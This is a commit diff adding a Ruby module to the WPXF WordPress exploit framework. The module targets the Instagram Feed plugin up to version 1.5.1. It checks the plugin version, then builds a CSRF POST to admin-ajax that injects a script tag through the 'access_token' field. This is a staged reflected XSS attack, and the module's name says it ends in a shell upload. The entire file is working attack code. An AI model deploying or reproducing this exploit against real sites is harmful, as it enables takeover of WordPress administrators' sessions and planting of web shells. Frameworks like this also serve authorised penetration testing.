Add Instagram Feed <= 1.5.1 reflected XSS shell upload

Author: rastating

modules/exploit/xss/reflected/instagram_feed_csrf_xss_shell_upload.rb

@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::InstagramFeedCsrfXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StagedReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Instagram Feed <= 1.5.1 CSRF Reflected XSS Shell Upload',
+      author: [
+        'Chris Atomix', # Disclosure
+        'rastating'     # WPXF module
+      ],
+      references: [
+        ['WPVDB', '9023'],
+        ['URL', 'http://dumpco.re/blog/xss-instagram-feed']
+      ],
+      date: 'Feb 05 2018'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('instagram-feed', '1.5.2')
+  end
+
+  def initial_script
+    create_basic_post_script(
+      wordpress_url_admin_ajax,
+      'action'       => 'sbi_auto_save_tokens',
+      'access_token' => "<script>#{xss_ascii_encoded_include_script}<\\/script>"
+    )
+  end
+end